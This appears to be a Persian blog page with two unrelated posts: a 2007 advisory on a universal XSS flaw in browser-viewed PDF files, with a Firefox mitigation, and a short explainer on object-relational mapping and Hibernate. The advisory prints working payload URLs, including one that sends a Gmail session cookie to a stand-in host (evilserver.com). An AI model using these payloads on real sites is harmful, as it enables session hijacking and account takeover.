آسیب پذیری XSS در نمایش فایل های PDF

شروع سال ۲۰۰۷ همراه با خبرهای جالبی در دنیای امنیت کامپیوتری بود. تابستان امسال، ماه ایرادهای مرورگرها بود. پاییز ماه ایراد کرنل و این بار نوبت به Mac OS X رسیده است. آخرین نمونه از این خبرهای جالب آسیب پذیری در نمایش فایل های PDF است. این آسیب پذیری جدید و خطرناک امکان اجرای کدهای جاوا اسکریپت بر روی کامپیوتر شما بدون هیچ محدودیتی فراهم می کند. قالب کلی روش اجرای چنین کدی برای یک فایل PDF در یک وب سرور به این صورت است :

http://path/to/pdf/file.pdf#whatever_name_you_want=javascript:your_code_here

برای یک مثال واقعی، می توانید پس از وارد شدن به حساب Google/Gmail خود از آدرس زیر بازدید کنید:

http://mail.google.com/mail/help/docs/
Gmail_shortcuts.pdf#blah=javascript:alert(document.cookie);

آنچه خروجی این آدرس خواهد بود، برابر document.cookie حساب Gmail شما است، که برابر با session جاری شما خواهد بود. این session را می توان با هدایت به یک اسکریپت دزدید و در این صورت حساب شما مورد تهدید قرار خواهد گرفت. نمونه خطرناکتر آدرس بالا را می توان این گونه بیان کرد:

http://mail.google.com/mail/help/docs/Gmail_shortcuts.pdf#blah=javascript:
document.location=’http://evilserver.com/capturecookie.cgi?cookie=’+
document.cookie;

این سناریو، تنها نمونه ای است، که آسیب پذیری جدید نمایش فایل های PDF می تواند برای شما ایجاد کند. این نقص، به این صورت عمل می کند که فایل های PDF بدون هیچ دلیلی توانایی اجرای کدهای جاوا اسکریپت را دارا هستند. نکته قابل تامل در این نقص، این است که هیچ نیازی به وجود دسرسی ویژه ای برای آن فایل وجود ندارد و ابزار لازم برای شروع یک حمله، تنها وجود یک فایل PDF بر روی یک وب سرور است. با توجه به نوع این نقص امکان فیلتر کردن آن بر روی برنامه های وب سرور تقریبا وجود ندارد. اگر از مرورگر فایرفاکس استفاده می کنید، در حال حاضر سریعترین روش برای جلوگیری از بروز تهدید، غیرفعال کردن نمایش فایل های PDF در مرورگر است. به این روش این کار را می توانید انجام دهید :

Firefox->Tools->Options->Content->Manage->change PDF action to “Save todisk”.

برای اطلاعات بیشتر در این مورد می توانید به نوشته Adobe Acrobat JavaScript Execution Bug is a Huge Security Issue مراجعه کنید. شروع اصلی بحث در لیست webappsec همچنان در حال ادامه است. مراجعه کنید به Universal XSS with PDF files: highly dangerous برای دیدن نظرات مختلف در این مورد. نوشته GNUCITIZEN در این مورد | نوشته ha.ckers در مورد PDF XSS

ORM – Object Relational Mapping

data persistence به پایدار کردن داده بعد از به پایان رسیدن پروسه ای که آن را ایجاد کرده -به منظور بازیابی در آینده- اطلاق می شود. رایج ترین روش persistence استفاده از پایگاه داده رابطه ایست، چون ایجاد و دستیابی به آنها -بوسیله Sql- راحت است. با این وجود هنگام پیاده سازی یک application شی گرا ممکن است persistence کردن اشیا به یک مدل رابطه ای دشوار باشد. به تفاوت های میان دو مدل شی گرا و رابطه ای impedance mismatch گفته می شود مانند identity (مشکل در درج ۲ شی متفاوت با مقدار یکسان) inheritance و association. به عبارتی تلفیق اشیا با شمای رابطه ای به راحتی امکان پذیر نیست.

ORM برای حل این مشکل ابداع شده است. ORM پروسه پایدار کردن اشیا در یک پایگاه داده رابطه ایست و این امکان را به application می دهد که اشیا را مستقیما و بدون نیاز به تبدیل به/از فرمت رابطه ای persist کند.

همچنین در یک enterprise application به جنبه های دیگری -علاوه بر قابلیت های پایه زبان برنامه نویسی برای دسترسی به پایگاه داده- نیاز است مانند:

– Lazy Loading: عدم بازیابی کل اشیای مرتبط هنگامی که گراف اشیا پیچیده باشد.
– Eager Fetching: بازیابی کل گراف اشیا با یک operation.
– Caching: عدم نیاز به بازیابی شی ای که بیشتر خوانده می شود و کمتر تغییر می کند در هر بار دستیابی.
– Cascading: انجام خودکار update منتشر شونده در پایگاه داده.

از جمله ORM Framework ها می توان Hibernate را برای جاوا نام برد. نمونه ای از فایل تنظیم Hibernate که یک کلاس جاوا را به یک جدول پایگاه داده تصویر می کند در زیر آورده شده است. در این مورد کلاس Event با فیلد id به عنوان کلید اولیه به جدول events تصویر می شود. Event با کلاس های Speaker و Attendee رابطه one-to-many و با Location رابطه many-to-one دارد.

منبع: Hibernate Quickly Book | ORM in Detail